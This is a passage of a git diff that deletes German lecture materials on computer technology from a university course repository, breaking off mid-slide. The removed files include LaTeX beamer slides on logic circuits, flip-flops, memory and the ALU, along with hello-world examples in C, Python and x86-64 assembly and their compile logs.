\ncangle[arrows=-,angleA=0,angleB=-180]{#2}{indown@} - \fi - \ncangle[arrows=-,angleA=180,angleB=0]{#4}{outdown@} - \else - \ncangle[arrows=-,angleA=0,angleB=-180]{#2}{indown@} - \ifx\psk@Qstyle\pst@Qstyle@hybrid - \ncangle[arrows=-,angleA=180,angleB=0]{#4}{outdown@} - \fi - \fi -% \ncangle[arrows=-,angleA=180,angleB=0]{#4}{outdown@} - \ncline[arrows=-,linestyle=none,fillstyle=none]{inup@}{outup@} - \naput{#5} - \pcline[linestyle=none](#1)(#3)% for the end arrows - \pcline[linestyle=none](#2)(#4)% for the end arrows - \end@ClosedObj% - \ignorespaces% -} -% -\def\pst@draw@coupler#1{% - \pnode(-0.75,0.4){inup@} - \pnode(0.75,0.4){outup@} - \psframe[#1,linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \psline(-0.5,0.4)(0.5,0.4) - \psline(-0.5,-0.4)(0.5,-0.4) - \psline(-0.4,0.35)(0.4,-0.35) - \psline(-0.4,-0.35)(0.4,0.35) -% - \ifx\psk@Qinput\pst@Qinput@left% - \pnode(0.75,-0.4){outdown@} - \ifPst@inputarrow% - \psline[arrows=->,arrowinset=0](-0.75,0.4)(-0.5,0.4) - \else - \psline(-0.75,0.4)(-0.5,0.4) - \fi - \psline(0.5,0.4)(0.75,0.4) - \psline(0.5,-0.4)(0.75,-0.4) - \ifx\psk@Qstyle\pst@Qstyle@hybrid - \pnode(-0.75,-0.4){indown@} - \ifPst@inputarrow% - \psline[arrows=->,arrowinset=0](-0.75,-0.4)(-0.5,-0.4) - \else - \psline(-0.75,-0.4)(-0.5,-0.4) - \fi - \else - \ifx\psk@Qstyle\pst@Qstyle@directional - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.8,-0.75)(-0.8,-0.675) - \multips{90}(-0.8,-0.675)(0,0.1){4}% - {\psline[arrows=-,linewidth=1.5\pslinewidth](0,0)(0.025,0.05)(0.075,-0.05)(0.1,0)}% - \psline[arrows=-,linewidth=1.5\pslinewidth](-0.8,-0.275)(-0.8,-0.2) - \psline(-0.75,-0.4)(-0.5,-0.4) - \fi - \fi - \else - \pnode(-0.75,-0.4){indown@} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](0.75,0.4)(0.5,0.4) - \else - \psline(0.75,0.4)(0.5,0.4) - \fi - \psline(-0.5,0.4)(-0.75,0.4) - \psline(-0.5,-0.4)(-0.75,-0.4) - \ifx\psk@Qstyle\pst@Qstyle@hybrid - \pnode(0.75,-0.4){outdown@} - \ifPst@inputarrow% - \psline[arrows=->,arrowinset=0](0.75,-0.4)(0.5,-0.4) - \else - \psline(0.75,-0.4)(0.5,-0.4) - \fi - \else - \ifx\psk@Qstyle\pst@Qstyle@directional - \psline[arrows=-,linewidth=1.5\pslinewidth](0.8,-0.75)(0.8,-0.675) - \multips{90}(0.8,-0.675)(0,0.1){4}% - {\psline[arrows=-,linewidth=1.5\pslinewidth](0,0)(0.025,0.05)(0.075,-0.05)(0.1,0)}% - \psline[arrows=-,linewidth=1.5\pslinewidth](0.8,-0.275)(0.8,-0.2) - \psline(0.75,-0.4)(0.5,-0.4) - \fi% - \fi% - \fi% -} -% -\catcode`\@=\PstAtCode\relax -% -\endinput -% diff --git a/20210427/rtech-20210427.pdf b/20210427/rtech-20210427.pdf deleted file mode 100644 index 609a2a9db9cc4db9a440744c4351735cb70d5f97..0000000000000000000000000000000000000000 Binary files a/20210427/rtech-20210427.pdf and /dev/null differ diff --git a/20210427/rtech-20210427.tex b/20210427/rtech-20210427.tex deleted file mode 100644 index eddb0e440768fc0354e69cdc613e278d6410391d..0000000000000000000000000000000000000000 --- a/20210427/rtech-20210427.tex +++ /dev/null @@ -1,456 +0,0 @@ -% rtech-20210427.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Vom Addierer zum Computer - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{pdftricks} - -\newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} -\newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks,pst-grad,pst-circ-pg} - \newcommand{\invisible}{\tiny\color{white}} - \psset{unit=1cm} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} - \newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} -\end{psinputs} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{27.\ April 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \color{orange} - \item[2.5] Vom Addierer zum Computer - \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{4} -\subsection{Vom Addierer zum Computer} - -\begin{frame}[fragile] - - \showsubsection - - 1-Bit-Multiplizierer - \only<1->{= Und-Verknüpfung} - - \medskip - - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & \visible<1->{0} \\\hline - 0 & 1 & \visible<1->{0} \\\hline - 1 & 0 & \visible<1->{0} \\\hline - 1 & 1 & \visible<1->{1} \\\hline - \end{tabular}\quad%\pause[3] - \begin{minipage}{2.5cm} - \vspace*{0.5cm} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=and](-0.75,-0.125){and1} - \psline[arrows=o-](-2,0|and12)(and12) - \uput[180](-2,0|and12){A} - \psline[arrows=o-](-2,0|and11)(and11) - \uput[180](-2,0|and11){B} - \psline[arrows=o-](2,0|and1Q)(and1Q) - \uput[0](2,0|and1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{minipage} - -%\end{frame} -% -%\begin{frame} -% -% \showsubsection -% -% 1-Bit-Multiplizierer = Und-Verknüpfung -% -% \smallskip - - \bigskip - - n-Bit-Multiplizierer: "`schriftlich"' multiplizieren - - \smallskip -% \pause - - Beispiel: $13 \cdot 5$ - - \smallskip - - \begin{tabular}{r} - $1101 \cdot 101$\\[-1.5\smallskipamount] - \rule{2cm}{1pt}\\ - $1101\phantom{00}$\\ - $0\phantom{0}$\\ - $1101$\\[-1.5\smallskipamount] - \rule{2cm}{1pt}\\ - $1000001$ - \end{tabular}% - \begin{picture}(0,0) - \put(-0.95,-0.63){\mbox{\scriptsize 1}} - \put(-1.15,-0.63){\mbox{\scriptsize 1}} - \put(-1.35,-0.63){\mbox{\scriptsize 1}} - \put(-1.55,-0.63){\mbox{\scriptsize 1}} - \end{picture}%\pause - \hspace*{2cm}% - \begin{minipage}{5cm} - Multiplizier-Schaltkreis\\ - für zwei 2-Bit-Zahlen:\\[\smallskipamount] - \color{medgreen}(gestern) - \end{minipage} - -\end{frame} - -\begin{frame} - - \showsubsection - - Schaltkreis, der wahlweise eine von mehreren Verknüpfungen - durchführt: - - \smallskip - - \newterm{arithmetisch-logische Einheit\/} -- - \newterm{arithmetic logic unit (ALU)} - - \begin{center} - \only<1>{\vspace*{-2.0cm}\includegraphics{alu2.pdf}}% - \only<2>{\includegraphics[width=10cm]{alu.jpg}}% - \vspace*{-25cm} - \end{center} - -\end{frame} - -\begin{frame}[fragile] - - \begin{visibleenv}<1-> - \showsubsection - - Information speichern - \end{visibleenv} - - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1,1.5){A} - \uput[l](-2.5,0|A){$S$} - \pnode(1,1.5){B} - \ground[connectingdot=false](2,1.5) - \relais(A)(B){} - \pnode(2.5,2.5){A3} - \uput[l](2.0,0|A3){$R$} - \pnode(4.5,2.5){B3} - \ground[connectingdot=false](5.5,2.5) - \relais(A3)(B3){} - \pnode(-0.5,0){C0} - \psline[arrows=-*](C0)(-1.5,0)(-1.5,1.5) - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \pnode(3,-0.3){C3} - \pnode(4,0){D3} - \pnode(4,-0.6){E3} - \psline[arrows=*-,linewidth=2\pslinewidth](C3)(D3) - \pnode(7,0.7){D3plus} - \uput[180](D3plus){\textbf{+}} - \psline(E0)(C3) - \psline[arrows=->,arrowsize=0.3](D3)(D3plus|D3)(D3plus) - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \pnode(-0.5,-1.5){C1} - \pnode(0.5,-1.2){D1} - \pnode(0.5,-1.8){E1} - \uput[r](2.5,0|E1){$Q$} - \pnode(-3.0,-0.5){C1plus} - \uput[180](C1plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C1)(C1plus|C1)(C1plus) - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \psline[linestyle=dashed](0,-1.25)(0,1.0) - \psline[linestyle=dashed](3.5,-0.15)(3.5,2.0) - \psline[arrows=o-](-2.5,0|A)(A) - \psline[arrows=o-](2.0,0|A3)(A3) - \psline(B)(2,0|B) - \psline(B3)(5.5|B3) - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](1.5,0|D1)(D1) - \psline[arrows=o-](2.5,0|E1)(E1) - \psline[arrows=o-](5.0,0|E3)(E3) - \end{pspicture} - \end{pdfpic} - -% \pause - - \newterm{Selbsthalteschaltung} - - 1-Bit-\newterm{Speicherzelle} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Information speichern - - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-4,-4)(4,4) - \logic[logicType=nand](-0.75,2){nand1} - \logic[logicType=nand](-0.75,-2){nand2} - \psline[arrows=o-](-3,0|nand12)(nand12) - \uput[180](-3,0|nand12){$\overline{\mbox{S}}$} - \psline[arrows=o-](-3,0|nand21)(nand21) - \uput[180](-3,0|nand21){$\overline{\mbox{R}}$} - \psline[arrows=o-](3,0|nand1Q)(nand1Q) - \uput[0](3,0|nand1Q){Q} - \psline[arrows=o-](3,0|nand2Q)(nand2Q) - \uput[0](3,0|nand2Q){$\overline{\mbox{Q}}$} - \psline[arrows=*-](2,0|nand1Q)(2,1.75)(-2,0.75)(-2,0|nand22)(nand22) - \psline[arrows=*-](2,0|nand2Q)(2,0.75)(-2,1.75)(-2,0|nand11)(nand11) - \end{pspicture} - \end{pdfpic} - - \newterm{Bistabile Kippstufe} -- \newterm{Bistabiler Multivibrator} -- \newterm{Flip-Flop} - - 1-Bit-Speicherzelle - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Information speichern - - \vspace*{-0.5cm} - - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-4,-4)(4,4) - \pnode(0,0.5){A} - \pnode(0,-0.5){B} - \capacitor(A)(B){} - \psline[arrows=-o](A)(A|0,1) - \psline[arrows=-o](B)(B|0,-1) - \end{pspicture} - \end{pdfpic} - - \vspace*{-1.0cm} - - \newterm{Kondensator} - - \only<1->{\newterm{dynamische\/}} 1-Bit-Speicherzelle\\ -% \pause - \textarrow\ benötigt \newterm{Refresh}-Schaltung - -% \pause[3] - \medskip - Flip-Flop - - \newterm{statische\/} 1-Bit-Speicherzelle - - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-4,-4)(4,4) - \logic[logicType=nand](-0.75,2){nand1} - \logic[logicType=nand](-0.75,-2){nand2} - \psline[arrows=o-](-3,0|nand12)(nand12) - \uput[180](-3,0|nand12){$\overline{\mbox{S}}$} - \psline[arrows=o-](-3,0|nand21)(nand21) - \uput[180](-3,0|nand21){$\overline{\mbox{R}}$} - \psline[arrows=o-](3,0|nand1Q)(nand1Q) - \uput[0](3,0|nand1Q){Q} - \psline[arrows=o-](3,0|nand2Q)(nand2Q) - \uput[0](3,0|nand2Q){$\overline{\mbox{Q}}$} - \psline[arrows=*-](2,0|nand1Q)(2,1.75)(-2,0.75)(-2,0|nand22)(nand22) - \psline[arrows=*-](2,0|nand2Q)(2,0.75)(-2,1.75)(-2,0|nand11)(nand11) - \end{pspicture} - \end{pdfpic} - -\end{frame} - -\begin{frame} - - \showsubsection - -% Wir können jetzt addieren, subtrahieren und multiplizieren.\\ -% Wie bauen wir daraus einen Turing-vollständigen Computer? - Bau eines Turing-vollständigen Computers - \begin{itemize} - \pause - \item - Rechenwerk: Arithmetisch-logische Einheit (ALU) - \only<2>{\\[\bigskipamount]\strut\hfill\includegraphics[width=9.5cm]{alu.jpg}\vspace*{-10cm}\hfill\strut} - \pause - \item - Speicher: Register, adressierbarer Hauptspeicher - \only<3>{\\[\smallskipamount]\strut\hfill\includegraphics[width=11cm]{speicheradressierung-3.png}\vspace*{-10cm}} - \pause - \item - Takt: - \begin{onlyenv}<4> - \begin{picture}(0,0) - \put(3.5,-0.4){\makebox(0,0)[tl]{\includegraphics[width=7cm]{astabile-kippstufe.png}}} - \put(-1.0,-0.5){\makebox(0,0)[tl]{\includegraphics[width=4cm]{schwingquarz.jpg}}} - \put(-1.0,-3.5){\makebox(0,0)[tl]{\includegraphics[width=4cm]{schwingquarz-geoeffnet.jpg}}} - \end{picture} - \end{onlyenv} - \pause - Speicher durchgehen - \only<5>{\\[\smallskipamount]\strut\hfill\includegraphics[width=11cm]{takt-zaehler-4.png}\vspace*{-10cm}}% - \pause - und Befehle abarbeiten - \begin{onlyenv}<6-8> - \begin{itemize}\itemsep\smallskipamount - \item - Register-Ladebefehl:\\ - "`Lade Speicherzelle 42 an den A-Eingang der ALU."' - \item - Rechenbefehl:\\ - "`Berechne die Summe der beiden Register an der ALU."' - \item - Register-Speicherbefehl:\\ - "`Speichere den Status-Ausgang der ALU in Speicherzelle 137."' - \pause - \item - Sprungbefehl:\\ - "`Lade den Inhalt der Speicherzelle 1117\\ - in das Adressregister für den nächsten Befehl."' - \pause - \item - Bedingter Sprungbefehl:\\ - "`Wenn das \Cout-Bit der ALU den Wert 1 hat,\\ - springe nach Speicherzelle 23."' - \end{itemize} - \vspace*{-10cm} - \end{onlyenv} - \pause - \item - Peripherie: Kommunikation mit der Außenwelt - \begin{onlyenv}<9> - \begin{itemize}\itemsep\smallskipamount - \item - Output-Port:\\ - Ausgang einer Speicherzelle nach draußen führen - \item - Input-Port:\\ - Anstelle einer Speicherzelle einen eingehenden Draht abfragen - \end{itemize} - \vspace*{-10cm} - \end{onlyenv} - \pause - \arrowitem - in Maschinensprache programmierbar - \end{itemize} - -\end{frame} - -% Fortsetzung: 20141016 - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \color{medgreen} - \item[2.5] Vom Addierer zum Computer - \color{red} - \item[2.6] Computer-Sprachen - \item[2.7] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210427/schwingquarz-geoeffnet.jpg b/20210427/schwingquarz-geoeffnet.jpg deleted file mode 120000 index 47fa49f1156ff5f55ab9233c8635f1c66bed9cfe..0000000000000000000000000000000000000000 --- a/20210427/schwingquarz-geoeffnet.jpg +++ /dev/null @@ -1 +0,0 @@ -Crystal_Oscillator_DIP_Module_Teardown.png \ No newline at end of file diff --git a/20210427/schwingquarz.jpg b/20210427/schwingquarz.jpg deleted file mode 120000 index 9a7ed195094a0c769c39c8a65949f354b58f9570..0000000000000000000000000000000000000000 --- a/20210427/schwingquarz.jpg +++ /dev/null @@ -1 +0,0 @@ -3Com_OfficeConnect_ADSL_Wireless_11g_Firewall_Router_2012-10-28-0866.jpg \ No newline at end of file diff --git a/20210427/speicheradressierung-1.png b/20210427/speicheradressierung-1.png deleted file mode 100644 index e2e548ffd685c7d3ea2c9269cf97c10707a24ec0..0000000000000000000000000000000000000000 Binary files a/20210427/speicheradressierung-1.png and /dev/null differ diff --git a/20210427/speicheradressierung-2.png b/20210427/speicheradressierung-2.png deleted file mode 100644 index 635e386b95a428c7f29e28429096636ea0279cbc..0000000000000000000000000000000000000000 Binary files a/20210427/speicheradressierung-2.png and /dev/null differ diff --git a/20210427/speicheradressierung-3.png b/20210427/speicheradressierung-3.png deleted file mode 100644 index 8bd61d0c7055ee701f438ef52eaa7852ff9f1626..0000000000000000000000000000000000000000 Binary files a/20210427/speicheradressierung-3.png and /dev/null differ diff --git a/20210427/speicheradressierung.xcf.gz b/20210427/speicheradressierung.xcf.gz deleted file mode 100644 index a066a9a84fceaa4fa46275c01b5ffe91137f5a2d..0000000000000000000000000000000000000000 Binary files a/20210427/speicheradressierung.xcf.gz and /dev/null differ diff --git a/20210427/takt-zaehler-4.png b/20210427/takt-zaehler-4.png deleted file mode 120000 index e455bfa51e61761e25981fe18051c9fa917f29b5..0000000000000000000000000000000000000000 --- a/20210427/takt-zaehler-4.png +++ /dev/null @@ -1 +0,0 @@ -../20210426/takt-zaehler-4.png \ No newline at end of file diff --git a/20210503/alu.jpg b/20210503/alu.jpg deleted file mode 120000 index 6b948ed703aa8af048f41d06dec9e8a479b9352a..0000000000000000000000000000000000000000 --- a/20210503/alu.jpg +++ /dev/null @@ -1 +0,0 @@ -../script/alu.jpg \ No newline at end of file diff --git a/20210503/astabile-kippstufe.png b/20210503/astabile-kippstufe.png deleted file mode 120000 index f00494dafc99b6be87f2aff0de83ce4bf5f146d1..0000000000000000000000000000000000000000 --- a/20210503/astabile-kippstufe.png +++ /dev/null @@ -1 +0,0 @@ -../20210427/astabile-kippstufe.png \ No newline at end of file diff --git a/20210503/freedos.hd b/20210503/freedos.hd deleted file mode 120000 index a6cd3345cb25fd031469d8519b459ce4d05f1e75..0000000000000000000000000000000000000000 --- a/20210503/freedos.hd +++ /dev/null @@ -1 +0,0 @@ -../script/material/freedos.hd \ No newline at end of file diff --git a/20210503/hello.c b/20210503/hello.c deleted file mode 100644 index b767f77cd3a7328e5f45b60e674d32a647386509..0000000000000000000000000000000000000000 --- a/20210503/hello.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - puts ("Hello, world!"); - return 0; -} diff --git a/20210503/hello.py b/20210503/hello.py deleted file mode 100644 index 425092bb6196e90f9bdee8d296bdc792bcdb74c3..0000000000000000000000000000000000000000 --- a/20210503/hello.py +++ /dev/null @@ -1 +0,0 @@ -print ("Hello, world!") diff --git a/20210503/hello.s b/20210503/hello.s deleted file mode 100644 index f81a80564a1674eb3b9b1119691c7cfd502bb2bd..0000000000000000000000000000000000000000 --- a/20210503/hello.s +++ /dev/null @@ -1,24 +0,0 @@ - .file "hello.c" - .text - .section .rodata.str1.1,"aMS",@progbits,1 -.LC0: - .string "Hello, world!" - .text - .globl main - .type main, @function -main: -.LFB11: - .cfi_startproc - subq $8, %rsp - .cfi_def_cfa_offset 16 - leaq .LC0(%rip), %rdi - call puts@PLT - movl $0, %eax - addq $8, %rsp - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE11: - .size main, .-main - .ident "GCC: (Debian 8.3.0-6) 8.3.0" - .section .note.GNU-stack,"",@progbits diff --git a/20210503/hello.txt b/20210503/hello.txt deleted file mode 100644 index f9ca121e2df2bdce66e0d7560687aba79037887d..0000000000000000000000000000000000000000 --- a/20210503/hello.txt +++ /dev/null @@ -1,38 +0,0 @@ -cassini/home/peter/bo/2021ss/rtech/20210503> cat hello.c -#include <stdio.h> - -int main (void) -{ - puts ("Hello, world!"); - return 0; -} -cassini/home/peter/bo/2021ss/rtech/20210503> gcc -Wall -O hello.c -S -cassini/home/peter/bo/2021ss/rtech/20210503> cat hello.s - .file "hello.c" - .text - .section .rodata.str1.1,"aMS",@progbits,1 -.LC0: - .string "Hello, world!" - .text - .globl main - .type main, @function -main: -.LFB11: - .cfi_startproc - subq $8, %rsp - .cfi_def_cfa_offset 16 - leaq .LC0(%rip), %rdi - call puts@PLT - movl $0, %eax - addq $8, %rsp - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE11: - .size main, .-main - .ident "GCC: (Debian 8.3.0-6) 8.3.0" - .section .note.GNU-stack,"",@progbits -cassini/home/peter/bo/2021ss/rtech/20210503> gcc hello.s -o hello -cassini/home/peter/bo/2021ss/rtech/20210503> ./hello -Hello, world! -cassini/home/peter/bo/2021ss/rtech/20210503> diff --git a/20210503/logo-hochschule-bochum-cvh-text-v2.pdf b/20210503/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210503/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210503/logo-hochschule-bochum.pdf b/20210503/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210503/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210503/pgslides.sty b/20210503/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210503/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210503/programm-screenshot.png b/20210503/programm-screenshot.png deleted file mode 100644 index 5214650458048bdc5a375f828ec5153fae241579..0000000000000000000000000000000000000000 Binary files a/20210503/programm-screenshot.png and /dev/null differ diff --git a/20210503/python.txt b/20210503/python.txt deleted file mode 100644 index 33049316e1e880816cb63cb8edddf786cfd18f8c..0000000000000000000000000000000000000000 --- a/20210503/python.txt +++ /dev/null @@ -1,7 +0,0 @@ -cassini/home/peter/bo/2021ss/rtech/20210503> cat hello.py -print ("Hello, world!") -cassini/home/peter/bo/2021ss/rtech/20210503> ./hello.py -bash: ./hello.py: Keine Berechtigung -cassini/home/peter/bo/2021ss/rtech/20210503> python hello.py -Hello, world! -cassini/home/peter/bo/2021ss/rtech/20210503> diff --git a/20210503/rtech-20210503.pdf b/20210503/rtech-20210503.pdf deleted file mode 100644 index b7af753746d60ada2fa17730c8f7a2c34314c12e..0000000000000000000000000000000000000000 Binary files a/20210503/rtech-20210503.pdf and /dev/null differ diff --git a/20210503/rtech-20210503.tex b/20210503/rtech-20210503.tex deleted file mode 100644 index 552def83ef89d63f577076a8430e874cb9c04bc3..0000000000000000000000000000000000000000 --- a/20210503/rtech-20210503.tex +++ /dev/null @@ -1,499 +0,0 @@ -% rtech-20210503.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Computer-Sprachen - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{pdftricks} - -\newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} -\newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks,pst-grad,pst-circ-pg} - \newcommand{\invisible}{\tiny\color{white}} - \psset{unit=1cm} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} - \newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} -\end{psinputs} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{3.\ Mai 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \color{medgreen} - \item[2.5] Vom Addierer zum Computer - \color{red} - \item[2.6] Computer-Sprachen - \item[2.7] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{4} -\subsection{Vom Addierer zum Computer} - -\begin{frame} - - \showsubsection - -% Wir können jetzt addieren, subtrahieren und multiplizieren.\\ -% Wie bauen wir daraus einen Turing-vollständigen Computer? - Bau eines Turing-vollständigen Computers - \begin{itemize} - \pause - \item - Rechenwerk: Arithmetisch-logische Einheit (ALU) - \only<2>{\\[\bigskipamount]\strut\hfill\includegraphics[width=9.5cm]{alu.jpg}\vspace*{-10cm}\hfill\strut} - \pause - \item - Speicher: Register, adressierbarer Hauptspeicher - \only<3>{\\[\smallskipamount]\strut\hfill\includegraphics[width=11cm]{speicheradressierung-3.png}\vspace*{-10cm}} - \pause - \item - Takt: - \begin{onlyenv}<4> - \begin{picture}(0,0) - \put(3.5,-0.4){\makebox(0,0)[tl]{\includegraphics[width=7cm]{astabile-kippstufe.png}}} - \put(-1.0,-0.5){\makebox(0,0)[tl]{\includegraphics[width=4cm]{schwingquarz.jpg}}} - \put(-1.0,-3.5){\makebox(0,0)[tl]{\includegraphics[width=4cm]{schwingquarz-geoeffnet.jpg}}} - \end{picture} - \end{onlyenv} - \pause - Speicher durchgehen - \only<5>{\\[\smallskipamount]\strut\hfill\includegraphics[width=11cm]{takt-zaehler-4.png}\vspace*{-10cm}}% - \pause - und Befehle abarbeiten - \begin{onlyenv}<6-8> - \begin{itemize}\itemsep\smallskipamount - \item - Register-Ladebefehl:\\ - "`Lade Speicherzelle 42 an den A-Eingang der ALU."' - \item - Rechenbefehl:\\ - "`Berechne die Summe der beiden Register an der ALU."' - \item - 